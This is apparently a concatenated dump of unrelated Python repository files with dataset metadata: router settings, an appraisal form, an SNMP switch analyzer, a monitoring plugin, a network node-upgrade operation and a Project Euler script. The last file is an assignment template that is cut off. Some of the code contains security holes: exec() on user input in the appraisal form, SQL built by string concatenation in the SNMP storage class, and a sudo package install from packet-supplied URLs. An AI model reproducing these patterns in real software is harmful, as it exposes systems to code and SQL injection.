str(int(float(speed) * 1000)) uci.set("sqm.ge00.download", speed_kbs) uci.commit("sqm") set_openwireless_use_limit("download") def check_openwireless_monthly_data(bandwidth): if bandwidth: uci.set("openwireless.maxmonthlybandwidth", bandwidth) uci.commit("openwireless") accumulate_bytes.update_network_availability() def do_post(params): check_band(params.get('routerBand'), "@wifi-iface[2]") check_channel(params.get('routerChannel'), "@wifi-iface[2]") check_channel_bandwidth(params.get('routerChannelBandwidth'), "@wifi-iface[2]") check_band(params.get('openwirelessBand'), "@wifi-iface[1]") check_channel(params.get('openwirelessChannel'), "@wifi-iface[1]") check_channel_bandwidth(params.get('openwirelessChannelBandwidth'), "@wifi-iface[1]") check_isp_upload_speed(params.get("ispUploadSpeed")) check_isp_download_speed(params.get("ispDownloadSpeed")) check_openwireless_bandwidth_percentage(params.get("openwirelessBandwidth")) check_openwireless_monthly_data(params.get("openwirelessData")) def main(): try: if environ.get('REQUEST_METHOD').lower() == 'post': params = json.loads(sys.stdin.read()) do_post(params) else: raise Exception('GET request') common.render_success(params) except Exception as e: common.render_error(str.join(' ', e.args), status = 500) if __name__ == '__main__': main()
UTF-8
Python
false
false
2,014
10,479,720,202,507
6b62b4be632fe7109d1a055393b03bd7552380de
9b1823b73a03f7517c2039ccdb3889300bacf455
/dialogs/KUM3/fAddPenilaianCalonPeserta_data.py
c746a371fb27fa271df54fe00e8897b08aac5a4a
[]
no_license
ihsansolusi/BMMProgram
https://github.com/ihsansolusi/BMMProgram
d50eb6807abad265544a6c855888e6d9cef3a864
97428d5cf3f61256a8bc1ced551da611a8884b50
refs/heads/master
2016-03-31T02:51:25.931005
2013-09-12T23:38:15
2013-09-12T23:38:15
2,272,273
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import com.ihsan.foundation.pobjecthelper as phelper class Peringatan(Exception): def __init__(self, value): self.parameter=value def __str__(self): return repr(self.parameter) def formSetDataEx(UIDefList, Parameter): #raise 'm', Parameter.FirstRecord.key #raise Peringatan('Test') config = UIDefList.config dspeserta = UIDefList.GetPClassUIByName('uipinit') rec = dspeserta.Dataset.AddRecord() if Parameter.FirstRecord not in [None,'',0]: key=Parameter.FirstRecord.key.split('=')[-1] rec.SetFieldByName('Peserta.CustomerId', int(key)) s = 'select customername from customer where customerid=%s' % key res = config.CreateSQL(s).RawResult nama = res.customername rec.SetFieldByName('Peserta.CustomerName', nama) else : rec.SetFieldByName('Peserta.CustomerId', None) rec.SetFieldByName('Peserta.CustomerName', None) atid = config.CreateSQL("select appraisaltemplateid from appraisaltemplate where appraisalname='ScoreBoard'").RawResult.appraisaltemplateid rec.Tanggal = config.Now() sSQL = "select appraisaltemplateid,itemtemplateid,sequenceno,itemname,valuedatatype,parentid,level,description from AppraisalItemTemplate where AppraisalTemplateId=%d and isactive='A' and islowlevel='T' order by sequenceno, parentid" % atid ret_items = config.CreateSQL(sSQL).rawresult rec.cmid = ret_items.appraisaltemplateid dsitems = UIDefList.GetPClassUIByName('uipactivity') nomor_index = 1 tipedata = {None:'None','I':'Integer','B':'Boolean','F':'Float','S':'String'} while not ret_items.Eof : set_item = dsitems.Dataset.AddRecord() set_item.Nomor = nomor_index set_item.Desc = ret_items.itemname set_item.tipe = tipedata[ret_items.valuedatatype] set_item.ttipe = ret_items.valuedatatype set_item.id = ret_items.itemtemplateid #set_item.grups = vgrupdesc[ret_items.visitgroup] set_item.answerhelp = ret_items.description or '' parent='' pid = ret_items.parentid for i in range(ret_items.level): pSQL = "select itemname,parentid from appraisalitemtemplate where itemtemplateid=%s" % str(pid) parentdata = config.CreateSQL(pSQL).RawResult pid = parentdata.parentid parent = parentdata.itemname+' - '+parent parent=parent.rstrip(' - ') set_item.induk = parent nomor_index += 1 ret_items.Next() def SimpanData(config, parameter, returnpacket): rp = returnpacket.CreateValues(['hasil',''],['modal','']) cs_rec = parameter.uipinit.GetRecord(0) tahunskrg = config.ModLibUtils.DecodeDate(config.Now())[0] xx1 = int(tahunskrg) #raise '', tahunskrg config.BeginTransaction() try: helper = phelper.PObjectHelper(config) rumus = helper.GetObject('AppraisalTemplate', cs_rec.cmid).Formula modalkum3 = config.CreateSQL("select formula from appraisaltemplate where appraisalname='ModalKUM3'").RawResult.formula modal = 0.0 hitmodal = "modal = %s" % modalkum3 hasil = 'TIDAK LULUS' fullrumus = "%s: hasil='LULUS'" % rumus acts = helper.CreatePObject('Appraisal') acts.AppraisalDate = cs_rec.Tanggal acts.ApprovalStatus = 'T' acts.CustomerId = cs_rec.GetFieldByName('Peserta.CustomerId') acts.AppraisalTemplateId = cs_rec.cmid #raise 'recnum', parameter.uipactivity.recordCount for i in range(parameter.uipactivity.recordCount): act_rec = parameter.uipactivity.GetRecord(i) actitem = helper.CreatePObject('AppraisalItem') actitem.AppraisalId = acts.AppraisalId actitem.ItemTemplateId = act_rec.id if act_rec.ttipe == 'I' : actitem.IntegerValue = int(act_rec.Nilai or '0') exec("v%d=%s" % (act_rec.id,act_rec.Nilai or '0')) elif act_rec.ttipe == 'F' : actitem.FloatValue = float(act_rec.Nilai or '0') exec("v%d=%s" % (act_rec.id,act_rec.Nilai or '0')) elif act_rec.ttipe == 'S' : actitem.StringValue = act_rec.Nilai or '' exec("v%d='%s'" % (act_rec.id,act_rec.Nilai or '')) elif act_rec.ttipe == 'B' : if act_rec.Nilai.upper().find('T') < 0: actitem.BoolValue = 'F' exec("v%d='%s'" % (act_rec.id,act_rec.Nilai)) else: actitem.BoolValue = 'T' exec("v%d='%s'" % (act_rec.id,act_rec.Nilai)) exec(fullrumus) exec(hitmodal) rp.hasil = hasil rp.modal = config.FormatFloat('##,000.00',modal) updCalon = helper.GetObject('MustahiqCandidate', acts.CustomerId) updCalon.MonthlyIncome = modal if hasil=='LULUS': updCalon.CandidateStatus = 'V' else: updCalon.CandidateStatus = 'X' config.Commit() except: config.Rollback() raise
UTF-8
Python
false
false
2,013
10,007,273,800,740
60ff1061edaf9dd41c80acc8c764e969d6b639b4
65a684be8e0ae479c9def41f95d4dc08e7d63edf
/snmp.py
3c2e38bd0993bf8a9a2e5390b222ccd4537ec67c
[]
no_license
Dragonn/switch-analyzer
https://github.com/Dragonn/switch-analyzer
a8bf4d0c2f54d628870684d3258490a1ec6931ea
655391d21f6888ea42e3edd190f38cddf05e20ca
refs/heads/master
2018-01-07T17:03:53.031279
2013-05-26T00:08:18
2013-05-26T00:08:18
9,979,157
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python2.6 import netsnmp class snmp: "Encapsulating class using NetSNMP library" version = 2 community = "CASA" useNumeric = True destination = None _session = None def __init__(self): self._session = netsnmp.Session( Version=self.version, Community=self.community, UseNumeric=self.useNumeric ) def dest(self, destination): "Set destination" self.destination = destination def get(self, oid): "Perform SNMP get request" var = netsnmp.Varbind(oid) ret = netsnmp.snmpget(var, Version=self.version, Community=self.community, UseNumeric=self.useNumeric, DestHost=self.destination) return ret[0] def walk(self, oid, format=None): """Perform SNMP walk request format - specifies returned data format values: list of returned VALs keys: list of returned IIDs tuples: list of tuples (IID, VAL) dict: dictionary {IID: VAL} None (default): list of tuples (TAG, IID, TYPE, VAL) This function don't use bulk-walk yet. """ var = netsnmp.VarList(netsnmp.Varbind(oid)) ret = netsnmp.snmpwalk(var, Version=self.version, Community=self.community, UseNumeric=self.useNumeric, DestHost=self.destination) if format == "values": return [var[i].val for i in range(len(var))] elif format == "keys": return [var[i].iid for i in range(len(var))] elif format == "tuples": return [(var[i].iid, var[i].val) for i in range(len(var))] elif format == "dict": return dict([(var[i].iid, var[i].val) for i in range(len(var))]) else: return [(var[i].tag, var[i].iid, var[i].type, var[i].val) for i in range(len(var))] import binascii class switch: "Switch data mining" _snmp = None "Internal variable holding SNMP instance" OID = { 'vendor_sign': '.1.3.6.1.2.1.1.1.0', 'interface': { 'name': '.1.3.6.1.2.1.2.2.1.2', 'type': '.1.3.6.1.2.1.2.2.1.3', 'mac' : '.1.3.6.1.2.1.2.2.1.6', }, 'cam': { 'cisco': { 'vlan_state' : '.1.3.6.1.4.1.9.9.46.1.3.1.1.2', 'mac_address' : '.1.3.6.1.2.1.17.4.3.1.1', 'mac_bridge_port' : '.1.3.6.1.2.1.17.4.3.1.2', 'bridge_interface' : '.1.3.6.1.2.1.17.1.4.1.2', }, 'juniper': { 'vlan_tags' : '.1.3.6.1.4.1.2636.3.40.1.5.1.5.1.5', 'mac_port' : '.1.3.6.1.2.1.17.7.1.2.2.1.2', 'mac_status' : '.1.3.6.1.2.1.17.7.1.2.2.1.3', 'bridge_interface' : '.1.3.6.1.2.1.17.1.4.1.2' }, # 'h3c': { # 'mac_address' : '.1.3.6.1.4.1.2011.2.23.1.3.1.1.1', # 'mac_vlan' : '.1.3.6.1.4.1.2011.2.23.1.3.1.1.2', # 'mac_port' : '.1.3.6.1.4.1.2011.2.23.1.3.1.1.3', # }, 'h3c': { 'mac_port' : '.1.3.6.1.2.1.17.7.1.2.2.1.2', 'bridge_interface' : '.1.3.6.1.2.1.17.1.4.1.2' } }, } "List of used SNMP OIDs" def __init__(self, dest=None): self._snmp = snmp() if dest != None: self._snmp.dest(dest) def setDest(self, dest): "Set current destination host" self._snmp.dest(dest) def getVendor(self, dest=None): "Detect device vendor" if dest != None: self._snmp.dest(dest) ven = self._snmp.get(self.OID['vendor_sign']) if ven == None: # host unreachable return 'unknown' if ven.find('Cisco IOS Software')==0 or ven.find('Cisco Internetwork')==0: return 'cisco' if ven.find('Juniper Networks')==0: return 'juniper' if ven.find('H3C Comware')==0 or ven.find('Hangzhou H3C Comware')==0: return 'h3c' if ven.find('Huawei Versatile')==0 or ven.find('HUAWEI-3COM CORP')==0: return 'huawei' if ven.find('HP V1910')==0 or ven.find('HP Comware')==0: return 'hp' if ven.find('3Com Switch')==0 or ven.find('Huawei-3Com Versatile')==0: return '3com' return 'unknown' def binToMac(self, bin): "Convert binary string into colon-separated hexadecimal values" mac = binascii.hexlify(bin) return ":".join([mac[0:12:2][i]+mac[1:12:2][i] for i in range(len(mac)/2)]) def tagToMac(self, tag): "Convert decimal dot-separated value into hexadecimal values" return ":".join([hex(int(x))[2:].rjust(2, "0") for x in tag.split(".")]) def getInterfaces(self, dest=None): "Get list of tuples (interface_id, interface_name, interface_mac)" if dest != None: self._snmp.dest(dest) int_name = self._snmp.walk(self.OID['interface']['name']) int_mac = self._snmp.walk(self.OID['interface']['mac']) return [(int_name[i][1], int_name[i][3], self.binToMac(int_mac[i][3])) for i in range(len(int_name))] def getCamTable(self, dest=None, vendor=None, translateInterface=False): "Get mac-switching table (interface_id, mac_address)" if dest != None: self._snmp.dest(dest) if vendor == None: vendor = self.getVendor() if vendor == "cisco": # get all known vlans vlans = self._snmp.walk(self.OID['cam']['cisco']['vlan_state'], format="keys") if translateInterface: # get all known interfaces interfaces = self._snmp.walk(self.OID['interface']['name'], format="dict") # for each vlan: get known mac addresses and bridge ports macs = [] community = self._snmp.community for vlan in vlans: self._snmp.community = community+"@"+vlan mac = [(x[0][24:]+"."+x[1], self.binToMac(x[3])) for x in self._snmp.walk(self.OID['cam']['cisco']['mac_address'])] bridgeport = dict([(x[0][24:]+"."+x[1], x[3]) for x in self._snmp.walk(self.OID['cam']['cisco']['mac_bridge_port'])]) # get bridgeport-to-interface translation table for current vlan bridges = self._snmp.walk(self.OID['cam']['cisco']['bridge_interface'], format="dict") for i in range(len(mac)): try: if bridgeport.has_key(mac[i][0]): cur_mac = mac[i][1] cur_bridgeport = bridgeport[mac[i][0]] cur_interface = bridges[cur_bridgeport] if translateInterface: cur_interface = interfaces[cur_interface] macs.append((vlan, cur_mac, cur_interface)) except KeyError: pass self._snmp.community = community return macs elif vendor == "juniper": bridge = self._snmp.walk(self.OID['cam']['juniper']['bridge_interface'], format='dict') vlan = self._snmp.walk(self.OID['cam']['juniper']['vlan_tags'], format='dict') if translateInterface: # get all known interfaces interfaces = self._snmp.walk(self.OID['interface']['name'], format="dict") port = [(x[0][28:]+"."+x[1], bridge[x[3]]) for x in self._snmp.walk(self.OID['cam']['juniper']['mac_port']) if x[3]!='0'] macs = [] for i in port: cur_vlan, cur_mac = i[0].split(".", 1) cur_interface = i[1] if translateInterface: cur_interface = interfaces[cur_interface] macs.append((vlan[cur_vlan], self.tagToMac(cur_mac), cur_interface)) return macs # elif vendor == "h3c": # mac = [(x[0][33:]+"."+x[1], self.binToMac(x[3])) for x in self._snmp.walk(self.OID['cam']['h3c']['mac_address'])] # vlan = dict([(x[0][33:]+"."+x[1], x[3]) for x in self._snmp.walk(self.OID['cam']['h3c']['mac_vlan'])]) # port = dict([(x[0][33:]+"."+x[1], x[3]) for x in self._snmp.walk(self.OID['cam']['h3c']['mac_port'])]) # # if translateInterface: # # get all known interfaces # interfaces = self._snmp.walk(self.OID['interface']['name'], format="dict") # # macs = [] # for i in range(len(mac)): # if vlan.has_key(mac[i][0]) and port.has_key(mac[i][0]): # cur_mac = mac[i][1] # cur_vlan = vlan[mac[i][0]] # cur_interface = port[mac[i][0]] # # if translateInterface: # cur_interface = interfaces[cur_interface] # # macs.append((cur_vlan, cur_mac, cur_interface)) # # return macs elif vendor == "h3c" or vendor == "huawei" or vendor == "hp" or vendor == "3com": mac = [(x[0][28:]+"."+x[1], x[3]) for x in self._snmp.walk(self.OID['cam']['h3c']['mac_port'])] bridge = self._snmp.walk(self.OID['cam']['h3c']['bridge_interface'], format='dict') if translateInterface: # get all known interfaces interfaces = self._snmp.walk(self.OID['interface']['name'], format="dict") macs = [] for i in mac: cur_vlan, cur_mac = i[0].split(".", 1) cur_interface = bridge[i[1]] if translateInterface: cur_interface = interfaces[cur_interface] macs.append((cur_vlan, self.tagToMac(cur_mac), cur_interface)) return macs else: #TODO print "Only Cisco, Juniper and H3C vendors are supported now, not '"+vendor+"' ... sorry" return [] return [] import MySQLdb class mysql_connector: _mysql = None _cur = None _mysql_server = "localhost" _mysql_user = "bakule" _mysql_password = "-to-be-filled-" _mysql_database = "bakule" def __init__(self): self._mysql = MySQLdb.connect( host = self._mysql_server, user = self._mysql_user, passwd = self._mysql_password, db = self._mysql_database ) self._cur = self._mysql.cursor() class storage(mysql_connector): "Data storage" def __init__(self): mysql_connector.__init__(self) def getSwitchList(self, pendingOnly=False): if pendingOnly: self._cur.execute("SELECT id,ip,hostname,vendor FROM `switch` WHERE active=1 AND pending=1") else: self._cur.execute("SELECT id,ip,hostname,vendor FROM `switch` WHERE active=1") return [{"id": x[0], "ip": x[1], "hostname": x[2], "vendor": x[3]} for x in self._cur.fetchall()] def getSwitch(self, id=None, ip=None): if(ip == None): self._cur.execute("SELECT * FROM `switch` WHERE `id`='"+str(int(id))+"' LIMIT 1") elif(id == None): self._cur.execute("SELECT * FROM `switch` WHERE `ip`='"+ip+"' LIMIT 1") else: raise Exception("Empty ID and IP params") x = self._cur.fetchone() return {"id": x[0], "ip": x[1], "hostname": x[2], "vendor": x[3], "active": x[4]} def setSwitchVendor(self, vendor, id=None, ip=None): if(ip == None): self._cur.execute("UPDATE `switch` SET `vendor`='"+vendor+"' WHERE `id`='"+str(int(id))+"' LIMIT 1") elif(id == None): self._cur.execute("UPDATE `switch` SET `vendor`='"+vendor+"' WHERE `ip`='"+ip+"' LIMIT 1") else: raise Exception("Empty ID and IP params") ret = self._cur.rowcount self._cur.execute("COMMIT") return ret def setSwitchDone(self, id=None, ip=None): if(ip == None): self._cur.execute("UPDATE `switch` SET `pending`='0' WHERE `id`='"+str(int(id))+"' LIMIT 1") elif(id == None): self._cur.execute("UPDATE `switch` SET `pending`='0' WHERE `ip`='"+ip+"' LIMIT 1") else: raise Exception("Empty ID and IP params") self._cur.execute("COMMIT") return None def getInterfaceList(self, switch): pass def getInterface(self, id=None): pass def addInterface(self, switch, id, name, mac): self._cur.execute("INSERT INTO `interface` VALUES ("+str(int(switch))+", "+str(int(id))+", '"+name+"', '"+mac+"')") self._cur.execute("COMMIT") def addMacAddress(self, switch, interface, mac, vlan): self._cur.execute("INSERT INTO `mac_table` (switch_id, interface_id, vlan, mac) VALUES ("+str(int(switch))+", "+str(int(interface))+", "+str(int(vlan))+", '"+mac+"')") self._cur.execute("COMMIT") def getMacAddressList(self, switch, interface=None): pass class graph_maker(mysql_connector): def __init__(self): mysql_connector.__init__(self) def go(self): pass self._cur.execute("SELECT `id` FROM `switch` WHERE `ip` = '10.10.99.10'") switch = self._cur.fetchone()[0] self._cur.execute("SELECT * FROM "); pprint(switch) if __name__ == '__main__': from pprint import pprint g = graph_maker() g.go() """ s = snmp(); s.dest('10.10.99.186') pprint(s.walk('.1.3.6.1.2.1.1')) pprint(s.walk('.1.3.6.1.2.1.2.2.1')) """ """ sw = switch() # sw.setDest('10.10.99.186') # Cisco # sw.setDest('10.10.100.12') # H3C # sw.setDest('10.10.100.3') # Juniper # sw.setDest('10.10.100.7') # Huawei # sw.setDest('10.10.100.17') # Cisco # sw.setDest('10.10.100.33') # Hangzhou H3C # sw.setDest('10.10.100.35') # HP V1910 # sw.setDest('10.10.100.8') # TODO pada na KeyError sw.setDest('10.10.100.9') # 3Com - kompletni dump # sw.setDest('10.10.100.42') # HP Comware - kompletni dump # pprint(sw.getInterfaces()) pprint(sw.getCamTable(translateInterface=False)) """ # import sys # sys.exit(0) """ sw = switch() st = storage() for switch in st.getSwitchList(pendingOnly=True): sw.setDest(switch["ip"]) x = sw.getVendor() print "Switch: "+switch["hostname"]+", vendor: "+x st.setSwitchVendor(x, id=switch["id"]) for inter in sw.getInterfaces(): print "Interface: "+inter[0]+", "+inter[1]+", "+inter[2] st.addInterface(switch["id"], inter[0], inter[1], inter[2]) for mac in sw.getCamTable(): print "Mac: "+mac[0]+", "+mac[1]+", "+mac[2] st.addMacAddress(switch["id"], mac[2], mac[1], mac[0]) """ # """
UTF-8
Python
false
false
2,013
1,202,590,858,996
8e3081cfe971c14862cd42096917a70625c5a4d6
45cdb8b85ab60e6902e9f107dca08aba974172c3
/nginx_http_push_stream.py
36d283b194ea87dd3afeb994767cb815d3e6df33
[]
no_license
isabella232/porkchop-plugins
https://github.com/isabella232/porkchop-plugins
28484092e4d340fa595d268c67666e451e4cdcee
55603369cd6c9e582a76a339de7b8093dc121605
refs/heads/master
2023-03-17T21:17:07.229260
2013-02-02T01:53:21
2013-02-02T01:53:21
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import json import urllib2 from porkchop.plugin import PorkchopPlugin class NginxHttpPushStreamPlugin(PorkchopPlugin): METRIC_KEYS = frozenset(['channels', 'broadcast_channels', 'published_messages', 'subscribers', 'uptime']) def get_data(self): status_url = self.config.get('status_url', 'http://127.0.0.1/push-stream-status') f = urllib2.urlopen(status_url, timeout=1) try: raw_data = json.load(f) except ValueError: return {} data = dict((k, v) for k, v in raw_data.iteritems() if k in self.METRIC_KEYS) return data
UTF-8
Python
false
false
2,013
16,226,386,457,374
ab1b5d921175394ebba89090df84fd9953dc8fbc
b0fff8d209a9b8b1b2d08c3627f3b1d8933fb1f1
/fabnet/operations/upgrade_node_operation.py
b65add3888499a7711703f0309c7d1ec0c44c73f
[]
no_license
fabregas/fabnet_core
https://github.com/fabregas/fabnet_core
b4e2cca45be3a99727881a775f893a15563220a2
4d02a96e2c6e7f82cef03c7e808e390cdb1f6b6d
refs/heads/master
2016-08-03T14:10:29.395155
2014-07-29T12:50:24
2014-07-29T12:50:24
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python """ Copyright (C) 2012 Konstantin Andrusenko See the documentation for further information on copyrights, or contact the author. All Rights Reserved. @package fabnet.operations.upgrade_node_operation @author Konstantin Andrusenko @date Novenber 5, 2012 """ import os from datetime import datetime from fabnet.core.operation_base import OperationBase from fabnet.core.fri_base import FabnetPacketResponse from fabnet.utils.logger import oper_logger as logger from fabnet.utils.exec_command import run_command_ex from fabnet.core.constants import ET_ALERT, NODE_ROLE, RC_UPGRADE_ERROR INSTALLATOR = '/opt/blik/fabnet/bin/pkg-install' class UpgradeNodeOperation(OperationBase): ROLES = [NODE_ROLE] NAME = 'UpgradeNode' def before_resend(self, packet): """In this method should be implemented packet transformation for resend it to neighbours @params packet - object of FabnetPacketRequest class @return object of FabnetPacketRequest class or None for disabling packet resend to neigbours """ return packet def __upgrade_node(self, origin_urls, force=False): f_upgrade_log = None try: f_upgrade_log = open(os.path.join(self.home_dir, 'upgrade_node.log'), 'a') custom_installator = self.operator.get_config_value('INSTALLATOR_PATH') installator = custom_installator or INSTALLATOR for origin_url in origin_urls: f_upgrade_log.write('='*80+'\n') f_upgrade_log.write('UPGRADE FROM %s ... NOW = %s\n'%(origin_url, datetime.now())) f_upgrade_log.write('='*80+'\n') params = ['sudo', installator, origin_url] if force: params.append('--force') ret, cout, cerr = run_command_ex(params) f_upgrade_log.write(cout) f_upgrade_log.write(cerr) if ret != 0: raise Exception(cerr.strip()) f_upgrade_log.write('Node is upgraded successfully!\n\n') finally: if f_upgrade_log: f_upgrade_log.close() def process(self, packet): """In this method should be implemented logic of processing reuqest packet from sender node @param packet - object of FabnetPacketRequest class @return object of FabnetPacketResponse or None for disabling packet response to sender """ releases = packet.parameters.get('releases', {}) optype = self.operator.get_type().lower() for n_type, urls in releases.items(): if n_type.lower() != optype: continue if type(urls) not in (list, tuple): urls = [urls] try: self.__upgrade_node(urls, packet.parameters.get('force', False)) except Exception, err: self._throw_event(ET_ALERT, 'UpgradeNodeOperation failed', err) logger.error('[UpgradeNodeOperation] %s'%err) return FabnetPacketResponse(ret_code=RC_UPGRADE_ERROR, ret_message=err) return FabnetPacketResponse() else: logger.warning('UpgradeNodeOperation: release URL does not specified for "%s" node type'%optype) def callback(self, packet, sender): """In this method should be implemented logic of processing response packet from requested node @param packet - object of FabnetPacketResponse class @param sender - address of sender node. If sender == None then current node is operation initiator @return object of FabnetPacketResponse that should be resended to current node requestor or None for disabling packet resending """ pass
UTF-8
Python
false
false
2,014
7,645,041,821,535
7d5e7cf2ca9eeab6796c72861b6aadb10cb280d2
977da707534806edad2f85e5b4c75b73da1a23b3
/problem9.py
c0e0882d09cfb7d91059e2a367b7f1396a8b6fc8
[]
no_license
rfolk/Project-Euler
https://github.com/rfolk/Project-Euler
fdb11e1f775441e9ff6adb344abc505ffff351ff
a8f9ca8541b9110c44eb85cf0e9f28a7d635b1eb
refs/heads/master
2016-09-10T19:00:29.734691
2013-07-10T20:55:39
2013-07-10T20:55:39
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#! /usr/bin/env python3.3 # Russell Folk # December 2, 2012 # Project Euler #9 # There exists exactly one Pythagorean triplet for which a + b + c = 1000. # Find the product abc. goal = 1000 product = 0 # as max is 1000, c must be 500 or less. cMax = 500 cMin = 400 # b must be less than c, so we will use 400. bMax = 400 bMin = 300 # a must be less than b, so we will use 300. aMax = 300 aMin = 200 for c in range ( cMin , cMax ) : for b in range ( bMin , bMax ) : for a in range ( aMin , aMax ) : if ( a + b + c == goal ) and ( (a ** 2) + (b ** 2) == (c ** 2) ) : product = a * b * c print ( "The product of the Pythagorean triplet is " + str ( product ) )
UTF-8
Python
false
false
2,013
9,543,417,361,354
9ae7a446e3343776498a76921007daa009e1b738
d4226803eca72fe310a9b30dae73a0bb3b6db2a9
/spruce/ldap/_exc.py
2723cb2e2cc190169d372191945af78f46a0192d
[ "LGPL-3.0-only" ]
non_permissive
nisavid/spruce-ldap
https://github.com/nisavid/spruce-ldap
0b9946ad9aa6fb4cc1a7b60ecfff64ed5fb107df
1b9b0c497f38d74585a33e915d6dff6639500589
refs/heads/master
2021-01-01T19:02:37.417358
2014-01-24T20:22:50
2014-01-24T20:22:50
13,110,730
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
"""Exceptions.""" __copyright__ = "Copyright (C) 2014 Ivan D Vasin" __docformat__ = "restructuredtext" class Error(RuntimeError): pass class InvalidServiceOperation(Error): def __init__(self, service, operation, message=None, *args): super(InvalidServiceOperation, self).__init__(service, operation, message, *args) self._message = message self._operation = operation self._service = service def __str__(self): message = 'cannot {} service {!r}'.format(self.operation, self.service) if self.message: message += ': ' + self.message return message @property def message(self): return self._message @property def operation(self): return self._operation @property def service(self): return self._service
UTF-8
Python
false
false
2,014
4,776,003,637,632
db83f41882347fd4e825195329162a3e30f79964
472feabfc32d4c5028b5f4305edebb320da08f42
/novalabs/log.py
fd360477460c954c2f1eb3805e73ca52b8445354
[]
no_license
jleto/AmazonMeetupConnector
https://github.com/jleto/AmazonMeetupConnector
c0078bbcfbed26d72b2742e9241f4ec86334935d
ef4d015c780fb3e764f6b911e363b345dfba2298
refs/heads/master
2020-05-18T10:07:20.675564
2014-03-04T05:01:08
2014-03-04T05:01:08
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys import logging from datetime import datetime def getTimeStamp(): return '[' + datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ']' def writeError(e): e = sys.exc_info()[0] logging.info(getTimeStamp()+' [ERROR] %s. File: '+sys.exc_traceback.tb_frame.f_code.co_filename+'. Line ('+str(sys.exc_traceback.tb_lineno)+').', e) def writeInfo(strMsg): logging.info(getTimeStamp()+' ' + strMsg)
UTF-8
Python
false
false
2,014
16,947,940,965,221
d2784a6ff97086874b9ea74e5ce9aa6531f01cea
4121b30bd4b527f70cab76eb22d407625fe10818
/youpack.py
65d61b7a5e52d0f986745c54c46103736b3f3205
[]
no_license
ysei/packtrack
https://github.com/ysei/packtrack
78ceb2d6025b0fbbb9167b76df40f8c65f439039
b0411f376899628feb945cf1a57404fe8b93ebea
refs/heads/master
2021-01-20T04:58:05.389393
2009-09-14T04:19:46
2009-09-14T04:19:46
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- import souplib from tracker.jppost.package.tracking_number import TrackingNumber from tracker.jppost.package.session import Session numbers = [] for i in range(10): number = TrackingNumber.create_random_number("31744379") numbers.append(number) print numbers session = Session() page = session.get_list_page(numbers) f = open("page.html", "wb") f.write(page.content) f.close() print page.content """ f = open("page.html", "rb") page = f.read() f.close() print page """ exit(0) wellformed = souplib.create_well_formed_html(page) import xml.etree.ElementTree as etree html = etree.fromstring(wellformed) body = html.find("body") def get_response_time(body): table = body.findall("table")[0] tr = table.find("tr") td = tr.find("td") return td.text.strip() print get_response_time(body) out = etree.tostring(body) f = open("out.html", "wb") f.write(out) f.close()
UTF-8
Python
false
false
2,009
11,793,980,211,237
6be878b8a79db9fb703368bba72f65aed25b3b26
077dbaa15e31d0fab8e26cda8e59b0582a13a11b
/iphone/models.py
8f57bdb7c9b73ec5eea4b30afd50a2ec52e941aa
[]
no_license
thurloat/results
https://github.com/thurloat/results
ad0794056f7bf215415935cb9db569ad5dcdeb61
183f6ef86ccc01242d1da98bc05d2f8bf17a2303
refs/heads/master
2021-01-19T04:52:20.688810
2009-08-14T14:36:57
2009-08-14T14:36:57
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # encoding: utf-8 """ models.py Created by Adam on 2009-07-02. Copyright (c) 2009 __MyCompanyName__. All rights reserved. """ from django.db.models import permalink, signals from google.appengine.ext import db from ragendja.dbutils import cleanup_relations class Country(db.Model): countryNumber = db.StringProperty() code = db.StringProperty() name = db.StringProperty() def __unicode__(self): return self.code @permalink def get_absolute_url(self): return ('bios.views.show_country', (), {'key': self.key}) class Team(db.Model): teamNumber = db.StringProperty() country = db.ReferenceProperty(Country) name = db.StringProperty() def __unicode__(self): return '%s. %s - %s' % (self.teamNumber, self.name, self.country) @permalink def get_absolute_url(self): return ('bios.views.show_team', (), {'key': self.key()}) class Athlete(db.Model): athleteNumber = db.StringProperty() firstName = db.StringProperty() lastName = db.StringProperty() team = db.ReferenceProperty(Team) country = db.ReferenceProperty(Country) def __unicode__(self): return '%s. %s %s, %s' % (self.athleteNumber, self.firstName, self.lastName, self.country) def __json__(self): return '%s %s' % (self.lastName, self.firstName) @permalink def get_absolute_url(self): return ('bios.views.show_athlete', (), {'key': self.key()})
UTF-8
Python
false
false
2,009
7,584,912,272,953
8bff9e2eab462b9f7cf8b4af39ec21e8c3bd8141
c688ba0c5f75e10d39ce96176a1d7f9660314cbb
/Labs/Assignment6/assignment6_template.py
1b51b7a28b078ca3f933f831358e0448daa2160b
[]
no_license
magentanova/6.863
https://github.com/magentanova/6.863
723a371bc812b3107b15caa071e977e953d278d3
0032061016bbc861c37007b317049ce2377f59db
refs/heads/master
2016-11-11T09:40:21.972093
2012-12-05T16:51:08
2012-12-05T16:51:08
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # Assignment 6 answer template. # Updated Fri Nov 16, 2012 at 23:28 # http://web.mit.edu/6.863/fall2012/writeups/assignment6/assignment6_template.py # # Fill in your answers here, in the variables that end with _ANSWER. # The format of the desired answers are described in the variables that end with _FORMAT. Don't deviate from this format. # # Before submitting, verify that you have filled out the questions and # your submission follows the desired format by running this file: # python assignment6_template.py # what is your name? what_is_my_name_ANSWER = 'Salman Ahmad' what_is_my_name_FORMAT = 'freeform text' # can be an arbitrary string, no format restrictions # what are the names of your collaborators, if any? who_are_my_collaborators_ANSWER = ['Sam Ainsley'] who_are_my_collaborators_FORMAT = 'list of strings' # ie, ['John Doe', 'Jane Doe'] # === question 1: using modern probabilistic parsers === # What information was present in the NLTK parser's part-of-speech assignments that is not conveyed between the maximum entropy tagger and the Bikel parser? info_lost_when_using_maxent_tagger_ANSWER = 'The Bikel parser only sees the part of speech tag and does not get to see the actual word itself. So the parser is at the mercy of the tagger to do its job correctly.' info_lost_when_using_maxent_tagger_FORMAT = 'freeform text' # what is the first sentence in the training set where the (Bikel) parser makes an error with Precision < 100% ? Report the sentence number and the actual sentence sentence_number_of_first_error_ANSWER = 9 sentence_number_of_first_error_FORMAT = 